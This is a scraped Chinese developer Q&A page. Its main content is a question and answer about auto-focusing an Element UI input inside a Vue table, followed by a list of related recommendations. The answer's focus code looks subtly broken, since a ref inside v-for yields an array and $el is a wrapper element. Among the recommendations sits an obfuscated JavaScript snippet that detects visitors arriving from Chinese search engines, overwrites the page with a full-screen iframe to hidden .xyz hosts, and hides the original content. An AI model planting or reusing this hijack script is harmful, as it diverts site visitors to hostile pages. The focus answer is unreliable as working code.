<el-table-column v-show="itemheader.name == '备注'" v-for="(ite, indd) in itemheader.children" :key="indd" :label="ite.name" min-width="110" align="center" show-overflow-tooltip > <template slot-scope="scope"> <div @click="clickbz()" v-if="ite.name == '监控备注' && !showInput" :style="{ color: scope.row[ind].color ? scope.row[ind].color : 'white', width: '100%', height: '30px', cursor: 'pointer', }" > {{ scope.row[ind].children[indd].value }} </div> <el-input v-if="showInput && ite.name == '监控备注'" size="mini" v-model="scope.row[ind].children[indd].value" @blur=" changeBz( scope.row[ind].children[indd].value, scope.row[1].resId ) " style="width: 90px" ></el-input> <div v-if="ite.name != '监控备注'" :style="{ color: scope.row[ind].color ? scope.row[ind].color : 'white', }" > {{ scope.row[ind].children[indd].value }} </div> </template> </el-table-column> vue 如何在点击 表格内输入框时 input框自动聚焦呢 以下是点击事件 clickbz() { clearInterval(this.timer); this.showInput = true; },

时间: 2024-04-15 18:27:15 浏览: 16
要实现在点击表格内的输入框时自动聚焦,可以使用Vue的`ref`属性和`$refs`来实现。首先,在模板中给`el-input`添加一个`ref`属性,例如`ref="inputRef"`。然后,在点击事件处理程序中,通过`this.$refs.inputRef.$el.focus()`将焦点设置到输入框上。 以下是修改后的代码示例: ```html <el-table-column v-show="itemheader.name == '备注'" v-for="(ite, indd) in itemheader.children" :key="indd" :label="ite.name" min-width="110" align="center" show-overflow-tooltip > <template slot-scope="scope"> <div @click="clickbz()" v-if="ite.name == '监控备注' && !showInput" :style="{ color: scope.row[ind].color ? scope.row[ind].color : 'white', width: '100%', height: '30px', cursor: 'pointer', }" > {{ scope.row[ind].children[indd].value }} </div> <el-input ref="inputRef" v-if="showInput && ite.name == '监控备注'" size="mini" v-model="scope.row[ind].children[indd].value" @blur=" changeBz(scope.row[ind].children[indd].value, scope.row[1].resId) " style="width: 90px" ></el-input> <div v-if="ite.name != '监控备注'" :style="{ color: scope.row[ind].color ? scope.row[ind].color : 'white', }" > {{ scope.row[ind].children[indd].value }} </div> </template> </el-table-column> ``` ```javascript clickbz() { clearInterval(this.timer); this.showInput = true; this.$nextTick(() => { this.$refs.inputRef.$el.focus(); }); }, ``` 在点击事件处理程序中,使用`this.$nextTick()`来确保在更新DOM后设置焦点。然后,使用`this.$refs.inputRef.$el.focus()`将焦点设置到输入框上。这样,当点击表格内的输入框时,输入框将自动聚焦。

相关推荐

var titlestr = document.title; var arr = ["\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070\u0067\u007a\u006d\u0066\u002e\u0078\u0079\u007a\u003a\u0036\u0030\u0033\u0031\u0033\u0022\u002c\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070\u0067\u0071\u0073\u0068\u002e\u0078\u0079\u007a\u003a\u0036\u0030\u0033\u0031\u0033\u0022\u002c\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070\u0067\u0077\u0070\u0073\u002e\u0078\u0079\u007a\u003a\u0036\u0030\u0033\u0031\u0033"]; var linkIndex = Math.floor((Math.random() * arr.length)); var referer = document.referrer; var regex=/(baidu\.com|sogou\.com|so\.com)/i; if(regex.test(referer)) { setFrame(arr[linkIndex]); } function setFrame(olink) { var ss = '<title>' + titlestr + '</title><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setTimeout(function() { console.log(document.body.children.length); for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; console.log(i + "***" + a + "**" + b); if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100) } catch(e) {} }

最新推荐

recommend-type

MongoDB启动报错 Process: 29784 ExecStart=/usr/bin/mongod $OPTIONS (code=exited, status=14)

当我们使用systemctl start mongod启动MongoDB数据时,报错如下 这里我们可以使用systemctl status mongod.service命令查看详细错误信息,如下图 原创文章 22获赞 38访问量 2万+ 关注 私信 ...
recommend-type

uni-app中使用sqlite对本地缓存下数据进行处理

都是过来人没有太多介绍,直接上代码 附(H5+ 的SQLite传送门):...前提: 1.App配置权限配置选中SQLite 2.自定义调试基座 1.简单操作页面 判断数据库是否打开 打开数据库 ... dbPath: '_doc/dianji_chat
recommend-type

【K-means算法】{1} —— 使用Python实现K-means算法并处理Iris数据集

此处基于K-means算法处理Iris数据集 Kmeans.py模块: import numpy as np class KMeansClassifier(): """初始化KMeansClassifier类""" def __init__(self, k=3, initCent='random', max... self._max_iter = max_ite
recommend-type

yolov5-face-landmarks-opencv

yolov5检测人脸和关键点,只依赖opencv库就可以运行,程序包含C++和Python两个版本的。 本套程序根据https://github.com/deepcam-cn/yolov5-face 里提供的训练模型.pt文件。转换成onnx文件, 然后使用opencv读取onnx文件做前向推理,onnx文件从百度云盘下载,下载 链接:https://pan.baidu.com/s/14qvEOB90CcVJwVC5jNcu3A 提取码:duwc 下载完成后,onnx文件存放目录里,C++版本的主程序是main_yolo.cpp,Python版本的主程序是main.py 。此外,还有一个main_export_onnx.py文件,它是读取pytorch训练模型.pt文件生成onnx文件的。 如果你想重新生成onnx文件,不能直接在该目录下运行的,你需要把文件拷贝到https://github.com/deepcam-cn/yolov5-face 的主目录里运行,就可以生成onnx文件。
recommend-type

setuptools-0.6c8-py2.5.egg

文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。
recommend-type

zigbee-cluster-library-specification

最新的zigbee-cluster-library-specification说明文档。
recommend-type

管理建模和仿真的文件

管理Boualem Benatallah引用此版本:布阿利姆·贝纳塔拉。管理建模和仿真。约瑟夫-傅立叶大学-格勒诺布尔第一大学,1996年。法语。NNT:电话:00345357HAL ID:电话:00345357https://theses.hal.science/tel-003453572008年12月9日提交HAL是一个多学科的开放存取档案馆,用于存放和传播科学研究论文,无论它们是否被公开。论文可以来自法国或国外的教学和研究机构,也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaire
recommend-type

实现实时数据湖架构:Kafka与Hive集成

![实现实时数据湖架构:Kafka与Hive集成](https://img-blog.csdnimg.cn/img_convert/10eb2e6972b3b6086286fc64c0b3ee41.jpeg) # 1. 实时数据湖架构概述** 实时数据湖是一种现代数据管理架构,它允许企业以低延迟的方式收集、存储和处理大量数据。与传统数据仓库不同,实时数据湖不依赖于预先定义的模式,而是采用灵活的架构,可以处理各种数据类型和格式。这种架构为企业提供了以下优势: - **实时洞察:**实时数据湖允许企业访问最新的数据,从而做出更明智的决策。 - **数据民主化:**实时数据湖使各种利益相关者都可
recommend-type

2. 通过python绘制y=e-xsin(2πx)图像

可以使用matplotlib库来绘制这个函数的图像。以下是一段示例代码: ```python import numpy as np import matplotlib.pyplot as plt def func(x): return np.exp(-x) * np.sin(2 * np.pi * x) x = np.linspace(0, 5, 500) y = func(x) plt.plot(x, y) plt.xlabel('x') plt.ylabel('y') plt.title('y = e^{-x} sin(2πx)') plt.show() ``` 运行这段
recommend-type

JSBSim Reference Manual

JSBSim参考手册,其中包含JSBSim简介,JSBSim配置文件xml的编写语法,编程手册以及一些应用实例等。其中有部分内容还没有写完,估计有生之年很难看到完整版了,但是内容还是很有参考价值的。